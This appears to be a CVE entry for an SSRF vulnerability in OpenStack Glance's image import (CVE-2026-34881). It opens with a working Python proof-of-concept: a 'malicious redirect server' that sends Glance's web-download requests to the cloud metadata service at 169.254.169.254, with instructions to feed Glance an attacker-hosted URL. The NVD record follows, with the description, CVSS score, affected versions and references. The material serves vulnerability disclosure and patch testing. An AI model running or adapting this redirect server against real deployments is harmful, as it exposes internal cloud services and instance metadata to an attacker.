CVE-2026-34881

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-34881 # This script demonstrates a malicious server that redirects requests to internal services. from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): # Log the incoming request print(f"[+] Request received from: {self.client_address[0]}") # Send a 302 Redirect to an internal service (e.g., metadata service) internal_target = "http://169.254.169.254/latest/meta-data/" self.send_response(302) self.send_header('Location', internal_target) self.end_headers() self.wfile.write(b"Redirecting to internal service...") def run_server(port=80): server_address = ('', port) httpd = HTTPServer(server_address, MaliciousRedirectHandler) print(f"[*] Malicious redirect server listening on port {port}") print(f"[*] Attacker uses this URL in Glance: http://<attacker_ip>:{port}/image.iso") httpd.serve_forever() if __name__ == "__main__": run_server()

{"cve": {"id": "CVE-2026-34881", "sourceIdentifier": "[email protected]", "published": "2026-03-31T06:16:01.130", "lastModified": "2026-04-14T01:51:48.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenStack Glance before 29.1.1, 30.x before 30.1.1, and 31.0.0 is affected by Server-Side Request Forgery (SSRF). By use of HTTP redirects, an authenticated user can bypass URL validation checks and redirect to internal services. Only glance image import functionality is affected. In particular, the web-download and glance-download import methods are subject to this vulnerability, as is the optional (not enabled by default) ovf_process image import plugin."}, {"lang": "es", "value": "OpenStack Glance &lt;29.1.1, &gt;=30.0.0 &lt;30.1.1, ==31.0.0 se ve afectado por Falsificación de Petición del Lado del Servidor (SSRF). Mediante el uso de redirecciones HTTP, un usuario autenticado puede eludir las comprobaciones de validación de URL y redirigir a servicios internos. Solo la funcionalidad de importación de imágenes de Glance se ve afectada. En particular, los métodos de importación web-download y glance-download están sujetos a esta vulnerabilidad, al igual que el plugin de importación de imágenes ovf_process opcional (no habilitado por defecto)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openstack:glance:*:*:*:*:*:*:*:*", "versionEndExcluding": "29.1.1", "matchCriteriaId": "325D2E1E-9F38-4214-BE62-4D8B009843C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openstack:glance:*:*:*:*:*:*:*:*", "versionStartIncluding": "30.0.0", "versionEndExcluding": "30.1.1", "matchCriteriaId": "60818EB5-7DE4-47E5-A1B5-62EDDE6B7A86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openstack:glance:31.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "9E45E722-E69D-4C9D-A6F0-C96AC2335AB2"}]}]}], "references": [{"url": "https://bugs.launchpad.net/glance/+bug/2138602", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://security.openstack.org/ossa/OSSA-2026-004.html", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://bugs.launchpad.net/glance/+bug/2138602", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}